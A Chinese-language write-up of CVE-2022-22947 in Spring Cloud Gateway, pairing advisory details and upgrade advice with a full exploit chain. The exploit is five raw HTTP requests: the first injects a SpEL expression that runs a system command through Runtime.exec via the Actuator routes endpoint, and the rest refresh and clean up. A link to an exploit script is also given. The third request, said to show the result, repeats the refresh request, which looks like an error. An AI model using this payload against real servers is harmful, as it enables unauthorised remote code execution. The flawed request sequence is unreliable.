一、漏洞说明:
SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。2022年3月1日,Vmware官方针对SpringCloud Gateway发布初始漏洞报告。
使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。漏洞细节如下:
CVE编号:CVE-2022-22947
影响版本:Spring Cloud Wateway:3.1.0、3.0.0 -> 3.0.6、其他更低版本
漏洞危害等级:超危
漏洞详细信息:
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway
https://tanzu.vmware.com/security/cve-2022-22947
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
修复建议:受影响版本的用户需要应用以下修正。
3.1.x 用户应升级到 3.1.1+。
3.0.x 用户应升级到 3.0.7+。
如果不需要网关执行器终结点,则应通过 management.endpoint.gateway.enabled:false 禁用它。
如果在使用过程中,需要执行器,用户应该及时修复
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
已解决此问题的版本包括:
Vmware Spring Cloud Gateway 3.1.1+
Vmware Spring Cloud Gateway 3.0.7+
引用:https://tanzu.vmware.com/security/cve-2022-22947
二、漏洞细节:
利用原理:
漏洞分为5个请求
第一个请求(发送如下数据包即可添加一个包含恶意SpEL表达式的路由):
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
第二个请求(刷新刚添加的路由):
POST /actuator/gateway/refresh HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三个请求(查看执行结果):
POST /actuator/gateway/refresh HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第四个请求(清理添加的路由):
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第五个请求(刷新路由):
POST /actuator/gateway/refresh HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞利用脚本:
https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway